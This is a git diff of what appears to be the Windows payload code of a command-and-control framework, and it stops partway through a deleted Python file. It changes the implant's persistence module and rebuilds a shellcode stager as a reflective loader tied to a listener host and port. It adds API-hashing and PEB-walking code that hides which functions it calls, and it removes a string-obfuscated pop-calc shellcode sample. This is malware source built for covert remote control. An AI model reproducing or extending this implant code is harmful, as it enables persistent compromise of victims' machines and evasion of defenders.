diff --git a/payload/win/implant/script/calc_hash_module.cpp b/payload/win/implant/script/calc_hash_module.cpp index 109f90a..24da675 100644 --- a/payload/win/implant/script/calc_hash_module.cpp +++ b/payload/win/implant/script/calc_hash_module.cpp @@ -44,7 +44,7 @@ int main() for (int i = 0; i < 2; i++) { - char* moduleUpper = modules[i]; + char* moduleUpper = toUpper(modules[i]); // Make a key char buffer[100]; diff --git a/payload/win/implant/src/core/task/persist.cpp b/payload/win/implant/src/core/task/persist.cpp index f126fb9..dbed261 100644 --- a/payload/win/implant/src/core/task/persist.cpp +++ b/payload/win/implant/src/core/task/persist.cpp @@ -270,6 +270,10 @@ namespace Task RegCloseKey(hKey); return L"Success: The entry has been set to HKLM\\" + std::wstring(wImg) + L" and HKLM\\" + std::wstring(wSilent) + L"."; } + else if (wcscmp(wTechnique.c_str(), L"scheduled-task") == 0) + { + return L"Error: Not implemented yet."; + } else if (wcscmp(wTechnique.c_str(), L"winlogon") == 0) { HKEY hKey; diff --git a/payload/win/shellcode/Makefile b/payload/win/shellcode/Makefile index 07e59ff..982a841 100644 --- a/payload/win/shellcode/Makefile +++ b/payload/win/shellcode/Makefile @@ -1,11 +1,11 @@ -CCX64 = x86_64-w64-mingw32-gcc -CCX86 = i686-w64-mingw32-gcc +CCX64 = x86_64-w64-mingw32-g++ +CCX86 = i686-w64-mingw32-g++ -CFLAGS = -masm=intel -nostdlib -CFLAGS += -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -w -O2 - -CFLAGSX64 = $(CFLAGS) -Wl,-e,AlignRSP -CFLAGSX86 = $(CFLAGS) -Wl,-e,Entry +CFLAGS = -Os -masm=intel -nostdlib +CFLAGS += -s -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -w +CFLAGS += -fpack-struct=8 -falign-labels=1 -falign-jumps=1 -fPIC +CFLAGS += -Wl,-Tscript/linker.ld +CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup MACROS = -DLISTENER_HOST=\"$(LISTENER_HOST)\" -DLISTENER_PORT=$(LISTENER_PORT) -DLISTENER_PATH=\"$(LISTENER_PATH)\" @@ -15,12 +15,16 @@ OUTTEMP = build/tmp.exe OUTFILE = ${OUTPUT} amd64: clean - @ $(CCX64) -o $(OUTTEMP) $(CFLAGSX64) -Iinclude $(SOURCE) - @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ nasm -f win64 -o build/rfl.o src/asm/rfl.x64.asm + @ $(CCX64) -o $(OUTTEMP) $(CFLAGS) -Iinclude $(SOURCE) build/rfl.o + # @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ python3 script/extract.py -f $(OUTTEMP) -o $(OUTFILE) i686: clean - @ $(CCX86) -o $(OUTTEMP) $(CFLAGSX86) -Iinclude $(SOURCE) - @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ nasm -f win32 -o build/rfl.o src/asm/rfl.x86.asm + @ $(CCX86) -o $(OUTTEMP) $(CFLAGS) -Iinclude $(SOURCE) build/rfl.o + # @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ python3 script/extract.py -f $(OUTTEMP) -o $(OUTFILE) clean: @ rm -rf build/* \ No newline at end of file diff --git a/payload/win/shellcode/asm_samples/x64/pop_calc.asm b/payload/win/shellcode/asm_samples/x64/pop_calc.asm deleted file mode 100644 index 4a21b73..0000000 --- a/payload/win/shellcode/asm_samples/x64/pop_calc.asm +++ /dev/null @@ -1,94 +0,0 @@ -; Reference: https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode - -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX = 0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll - -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable - -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable -add r10, r8 ; R10 = &AddressTable - -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) - -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable - -jmp short apis - -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -loop: -mov rcx, [rsp] ; reset the string length counter from the stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -incloop: -inc rax -jmp short loop - -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller - -apis: ; API Names to resolve addresses -; WinExec | String length : 7 -xor rcx, rcx -add cl, 0x7 ; String length for compare string -mov rax, 0x9C9A87BA9196A80F ; not (reverse the bits) 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address - -; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL -; ); -xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -; calc.exe | String length : 8 -push rax ; Null terminate string on stack -mov rax, 0x9A879AD19C939E9C ; not (reverse the bits) 0x9A879AD19C939E9C = "calc.exe" -not rax -;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 -push rax ; RSP = "calc.exe",0x0 -mov rcx, rsp ; RCX = "calc.exe",0x0 -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file diff --git a/payload/win/shellcode/include/core/macros.hpp b/payload/win/shellcode/include/core/macros.hpp index 539653e..c6f2c26 100644 --- a/payload/win/shellcode/include/core/macros.hpp +++ b/payload/win/shellcode/include/core/macros.hpp @@ -1,8 +1,26 @@ -#ifndef HERMIT_MACROS_HPP -#define HERMIT_MACROS_HPP +#ifndef HERMIT_CORE_MACROS_HPP +#define HERMIT_CORE_MACROS_HPP + +// PEB +#ifdef _WIN64 +#define PPEB_PTR __readgsqword(0x60) +#else +#define PPEB_PTR __readfsqword(0x30) +#endif + +// FUNCTIONS +#define DEREF(name) *(UINT_PTR*)(name) +#define DEREF_64(name) *(DWORD64*)(name) +#define DEREF_32(name) *(DWORD*)(name) +#define DEREF_16(name) *(WORD*)(name) +#define DEREF_8(name) *(BYTE*)(name) + +#define SEC(s, x) __attribute__((section("." #s "$" #x ""))) + +#define MEMCPY __builtin_memcpy #ifndef TO_LOWERCASE #define TO_LOWERCASE(c1, out) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif -#endif // HERMIT_MACROS_HPP \ No newline at end of file +#endif // HERMIT_CORE_MACROS_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/core/modules.hpp b/payload/win/shellcode/include/core/modules.hpp deleted file mode 100644 index 28f3192..0000000 --- a/payload/win/shellcode/include/core/modules.hpp +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef HERMIT_MODULES_HPP -#define HERMIT_MODULES_HPP - -#include "core/macros.hpp" -#include "core/nt.hpp" -#include "core/utils.hpp" - -#include - -namespace Modules -{ - HMODULE GetModuleByName(WCHAR* wModuleName); -} - - -#endif // HERMIT_MODULES_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/core/nt.hpp b/payload/win/shellcode/include/core/nt.hpp index 4cbb4cf..22e2f47 100644 --- a/payload/win/shellcode/include/core/nt.hpp +++ b/payload/win/shellcode/include/core/nt.hpp @@ -1,6 +1,7 @@ // Refefence: https://ntdoc.m417z.com/ -#ifndef HERMIT_NT_HPP -#define HERMIT_NT_HPP + +#ifndef HERMIT_CORE_NTDLL_H +#define HERMIT_CORE_NTDLL_H #include #include @@ -496,6 +497,21 @@ typedef enum _FILE_INFORMATION_CLASS FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; +typedef enum _LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, // since REDSTONE3 + LoadReasonEnclaveDependency, + LoadReasonPatchImage, // since WIN11 + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; + typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, @@ -503,13 +519,6 @@ typedef enum _NT_PRODUCT_TYPE NtProductServer } NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; -typedef struct _KSYSTEM_TIME -{ - ULONG LowPart; - LONG High1Time; - LONG High2Time; -} KSYSTEM_TIME, *PKSYSTEM_TIME; - typedef enum _KWAIT_REASON { Executive, @@ -615,21 +624,6 @@ typedef enum _SYSDBG_COMMAND SysDbgGetLiveKernelDump } SYSDBG_COMMAND, * PSYSDBG_COMMAND; -typedef enum _LDR_DLL_LOAD_REASON -{ - LoadReasonStaticDependency, - LoadReasonStaticForwarderDependency, - LoadReasonDynamicForwarderDependency, - LoadReasonDelayloadDependency, - LoadReasonDynamicLoad, - LoadReasonAsImageLoad, - LoadReasonAsDataLoad, - LoadReasonEnclavePrimary, // since REDSTONE3 - LoadReasonEnclaveDependency, - LoadReasonPatchImage, // since WIN11 - LoadReasonUnknown = -1 -} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; - typedef enum _LDR_HOT_PATCH_STATE { LdrHotPatchBaseImage, @@ -659,6 +653,37 @@ typedef enum _LDR_DDAG_STATE LdrModulesReadyToRun = 9 } LDR_DDAG_STATE; +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + typedef struct _CLIENT_ID { HANDLE UniqueProcess; @@ -779,25 +804,6 @@ typedef struct _API_SET_NAMESPACE ULONG HashFactor; } API_SET_NAMESPACE, *PAPI_SET_NAMESPACE; -typedef struct _RTL_BALANCED_NODE -{ - union - { - struct _RTL_BALANCED_NODE *Children[2]; - struct - { - struct _RTL_BALANCED_NODE *Left; - struct _RTL_BALANCED_NODE *Right; - }; - }; - union - { - UCHAR Red : 1; - UCHAR Balance : 2; - ULONG_PTR ParentValue; - }; -} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; - typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; @@ -966,116 +972,6 @@ typedef struct _PEB_LDR_DATA HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; -typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)( - _In_ PVOID DllHandle, - _In_ ULONG Reason, - _In_opt_ PVOID Context -); - -typedef struct _LDR_SERVICE_TAG_RECORD -{ - struct _LDR_SERVICE_TAG_RECORD *Next; - ULONG ServiceTag; -} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; - -typedef struct _LDRP_CSLIST -{ - PSINGLE_LIST_ENTRY Tail; -} LDRP_CSLIST, *PLDRP_CSLIST; - -typedef struct _LDR_DDAG_NODE -{ - LIST_ENTRY Modules; - PLDR_SERVICE_TAG_RECORD ServiceTagList; - ULONG LoadCount; - ULONG LoadWhileUnloadingCount; - ULONG LowestLink; - union - { - LDRP_CSLIST Dependencies; - SINGLE_LIST_ENTRY RemovalLink; - }; - LDRP_CSLIST IncomingDependencies; - LDR_DDAG_STATE State; - SINGLE_LIST_ENTRY CondenseLink; - ULONG PreorderNumber; -} LDR_DDAG_NODE, *PLDR_DDAG_NODE; - -typedef struct _LDRP_LOAD_CONTEXT *PLDRP_LOAD_CONTEXT; - -typedef struct _LDR_DATA_TABLE_ENTRY -{ - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PLDR_INIT_ROUTINE EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - union - { - UCHAR FlagGroup[4]; - ULONG Flags; - struct - { - ULONG PackagedBinary : 1; - ULONG MarkedForRemoval : 1; - ULONG ImageDll : 1; - ULONG LoadNotificationsSent : 1; - ULONG TelemetryEntryProcessed : 1; - ULONG ProcessStaticImport : 1; - ULONG InLegacyLists : 1; - ULONG InIndexes : 1; - ULONG ShimDll : 1; - ULONG InExceptionTable : 1; - ULONG ReservedFlags1 : 2; - ULONG LoadInProgress : 1; - ULONG LoadConfigProcessed : 1; - ULONG EntryProcessed : 1; - ULONG ProtectDelayLoad : 1; - ULONG ReservedFlags3 : 2; - ULONG DontCallForThreads : 1; - ULONG ProcessAttachCalled : 1; - ULONG ProcessAttachFailed : 1; - ULONG CorDeferredValidate : 1; - ULONG CorImage : 1; - ULONG DontRelocate : 1; - ULONG CorILOnly : 1; - ULONG ChpeImage : 1; - ULONG ChpeEmulatorImage : 1; - ULONG ReservedFlags5 : 1; - ULONG Redirected : 1; - ULONG ReservedFlags6 : 2; - ULONG CompatDatabaseProcessed : 1; - }; - }; - USHORT ObsoleteLoadCount; - USHORT TlsIndex; - LIST_ENTRY HashLinks; - ULONG TimeDateStamp; - PACTIVATION_CONTEXT EntryPointActivationContext; - PVOID Lock; // RtlAcquireSRWLockExclusive - PLDR_DDAG_NODE DdagNode; - LIST_ENTRY NodeModuleLink; - PLDRP_LOAD_CONTEXT LoadContext; - PVOID ParentDllBase; - PVOID SwitchBackContext; - RTL_BALANCED_NODE BaseAddressIndexNode; - RTL_BALANCED_NODE MappingInfoIndexNode; - ULONG_PTR OriginalBase; - LARGE_INTEGER LoadTime; - ULONG BaseNameHashValue; - LDR_DLL_LOAD_REASON LoadReason; // since WIN8 - ULONG ImplicitPathOptions; - ULONG ReferenceCount; // since WIN10 - ULONG DependentLoadFlags; - UCHAR SigningLevel; // since REDSTONE2 - ULONG CheckSum; // since 22H1 - PVOID ActivePatchImageBase; - LDR_HOT_PATCH_STATE HotPatchState; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - typedef struct _PEB { BOOLEAN InheritedAddressSpace; @@ -1428,6 +1324,135 @@ typedef struct _TEB ULONGLONG ExtendedFeatureDisableMask; } TEB, *PTEB; +typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)( + _In_ PVOID DllHandle, + _In_ ULONG Reason, + _In_opt_ PVOID Context +); + +typedef struct _LDRP_LOAD_CONTEXT *PLDRP_LOAD_CONTEXT; + +typedef struct _LDRP_CSLIST +{ + PSINGLE_LIST_ENTRY Tail; +} LDRP_CSLIST, *PLDRP_CSLIST; + +typedef struct _LDR_SERVICE_TAG_RECORD +{ + struct _LDR_SERVICE_TAG_RECORD *Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; + +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; + PLDR_SERVICE_TAG_RECORD ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST Dependencies; + SINGLE_LIST_ENTRY RemovalLink; + }; + LDRP_CSLIST IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE, *PLDR_DDAG_NODE; + +typedef struct _RTL_BALANCED_NODE +{ + union + { + struct _RTL_BALANCED_NODE *Children[2]; + struct + { + struct _RTL_BALANCED_NODE *Left; + struct _RTL_BALANCED_NODE *Right; + }; + }; + union + { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG_PTR ParentValue; + }; +} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PLDR_INIT_ROUTINE EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ChpeImage : 1; + ULONG ChpeEmulatorImage : 1; + ULONG ReservedFlags5 : 1; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + }; + }; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + ULONG TimeDateStamp; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID Lock; // RtlAcquireSRWLockExclusive + PLDR_DDAG_NODE DdagNode; + LIST_ENTRY NodeModuleLink; + PLDRP_LOAD_CONTEXT LoadContext; + PVOID ParentDllBase; + PVOID SwitchBackContext; + RTL_BALANCED_NODE BaseAddressIndexNode; + RTL_BALANCED_NODE MappingInfoIndexNode; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; // since WIN8 + ULONG ImplicitPathOptions; + ULONG ReferenceCount; // since WIN10 + ULONG DependentLoadFlags; + UCHAR SigningLevel; // since REDSTONE2 + ULONG CheckSum; // since 22H1 + PVOID ActivePatchImageBase; + LDR_HOT_PATCH_STATE HotPatchState; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; @@ -1636,4 +1661,4 @@ typedef enum _FILE_INFO_BY_HANDLE_CLASS { MaximumFileInfoByHandleClass } FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS; -#endif // HERMIT_NT_HPP \ No newline at end of file +#endif // HERMIT_CORE_NTDLL_H \ No newline at end of file diff --git a/payload/win/shellcode/include/core/procs.hpp b/payload/win/shellcode/include/core/procs.hpp index c1e6cae..53c9013 100644 --- a/payload/win/shellcode/include/core/procs.hpp +++ b/payload/win/shellcode/include/core/procs.hpp @@ -1,23 +1,48 @@ -#ifndef HERMIT_PROCS_HPP -#define HERMIT_PROCS_HPP +#ifndef HERMIT_CORE_PROCS_HPP +#define HERMIT_CORE_PROCS_HPP -#include "core/utils.hpp" +#include "core/macros.hpp" +#include "core/nt.hpp" #include -// WINAPI -typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYA)(LPCSTR lpLibFileName); -typedef FARPROC (WINAPI* LPPROC_GETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName); -typedef int (WINAPI* LPPROC_MESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); -typedef int (WINAPI* LPPROC_MESSAGEBOXW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType); -typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -typedef BOOL (WINAPI* LPPROC_VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -typedef UINT (WINAPI* LPPROC_WINEXEC)(LPCSTR lpCmdLine, UINT uCmdShow); +#define HASH_IV 0x35 +#define RANDOM_ADDR 0xab10f29f + +// Generated by script/calc_hash_module +#define HASH_MODULE_KERNEL32 0xf4796887 +#define HASH_MODULE_NTDLL 0x3cd7873f +#define HASH_MODULE_USER32 0xecf87bd5 +// Generated by script/calc_hash_func.py +#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x3a43951d +#define HASH_FUNC_DLLMAIN 0xe2e2f348 +#define HASH_FUNC_GETPROCADDRESS 0xafa3e09d +#define HASH_FUNC_LOADLIBRARYA 0x7069f241 +#define HASH_FUNC_LOADLIBRARYW 0x7069f257 +#define HASH_FUNC_MESSAGEBOXA 0xcc4a1d08 +#define HASH_FUNC_MESSAGEBOXW 0xcc4a1d1e +#define HASH_FUNC_VIRTUALALLOC 0x5ae0dabf +#define HASH_FUNC_VIRTUALPROTECT 0x927857d9 namespace Procs { - PVOID GetProcAddressByName(HANDLE hBase, CONST CHAR* sFuncName, SIZE_T dwFuncNameLen); + // NTAPI + typedef DWORD (NTAPI* LPPROC_NTFLUSHINSTRUCTIONCACHE)(HANDLE ProcessHandle, PVOID BaseAddress, SIZE_T Length); + // WINAPI + typedef BOOL (WINAPI* LPPROC_DLLMAIN)(HINSTANCE, DWORD, LPVOID); + typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYA)(LPCSTR lpLibFileName); + typedef FARPROC (WINAPI* LPPROC_GETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName); + typedef int (WINAPI* LPPROC_MESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); + typedef int (WINAPI* LPPROC_MESSAGEBOXW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType); + typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + typedef BOOL (WINAPI* LPPROC_VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); + typedef UINT (WINAPI* LPPROC_WINEXEC)(LPCSTR lpCmdLine, UINT uCmdShow); + + ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen); + DWORD StringToHashFunc(char* str); + PVOID GetModuleByHash(DWORD dwHash); + PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash); } -#endif // HERMIT_PROCS_HPP \ No newline at end of file +#endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/core/utils.hpp b/payload/win/shellcode/include/core/utils.hpp deleted file mode 100644 index 442367b..0000000 --- a/payload/win/shellcode/include/core/utils.hpp +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef HERMIT_UTILS_HPP -#define HERMIT_UTILS_HPP - -#include - -namespace Utils -{ - INT MemCmp(const void* str1, const void* str2, SIZE_T n); - SIZE_T StrLenA(LPCSTR str); - SIZE_T StrLenW(LPCWSTR str); - -} - -#endif // HERMIT_UTILS_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/entry.hpp b/payload/win/shellcode/include/entry.hpp index aa804ff..4514a59 100644 --- a/payload/win/shellcode/include/entry.hpp +++ b/payload/win/shellcode/include/entry.hpp @@ -1,60 +1,16 @@ #ifndef HERMIT_ENTRY_HPP #define HERMIT_ENTRY_HPP -#include "core/nt.hpp" #include "core/macros.hpp" -#include "core/modules.hpp" +#include "core/nt.hpp" #include "core/procs.hpp" -#include "core/utils.hpp" #include -#define HASH_KEY 13 - -#define HASH_KERNEL32DLL 0x6A4ABC5B -#define HASH_NTDLLDLL 0x3CFA685D - -#define HASH_LOADLIBRARYA 0xEC0E4E8E -#define HASH_GETPROCADDRESS 0x7C0DFCAA -#define HASH_VIRTUALALLOC 0x91AFCA54 -#define HASH_NTFLUSHINSTRUCTIONCACHE 0x534C0AB8 - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); -typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); - typedef ULONG_PTR (WINAPI * REFLECTIVEDLLLOADER)(); -typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; - -#pragma intrinsic( _rotr ) - -__forceinline DWORD rotate(DWORD d) -{ - return _rotr(d, HASH_KEY); -} - -__forceinline DWORD hash(char * c) -{ - DWORD h = 0; - do - { - h = rotate(h); - h += *c; - } while( *++c ); - - return h; -} - -extern "C" void AlignRSP(); -extern "C" int Entry(); +extern "C" VOID AlignRSP(); +extern "C" VOID Entry(); extern "C" LPVOID ReflectiveCaller(); #endif // HERMIT_ENTRY_HPP \ No newline at end of file diff --git a/payload/win/shellcode/script/asm/exec.py b/payload/win/shellcode/script/asm/exec.py deleted file mode 100644 index 8e6277f..0000000 --- a/payload/win/shellcode/script/asm/exec.py +++ /dev/null @@ -1,175 +0,0 @@ -# Reference: https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode -from typing import List -from utils import convert - -def get_kernel32_addr() -> str: - return """ -; Get kernel32.dll Address -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX = 0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll -""" - -def get_exporttable_addr() -> str: - return """ -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable -""" - -def get_address_table() -> str: - return """ -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA 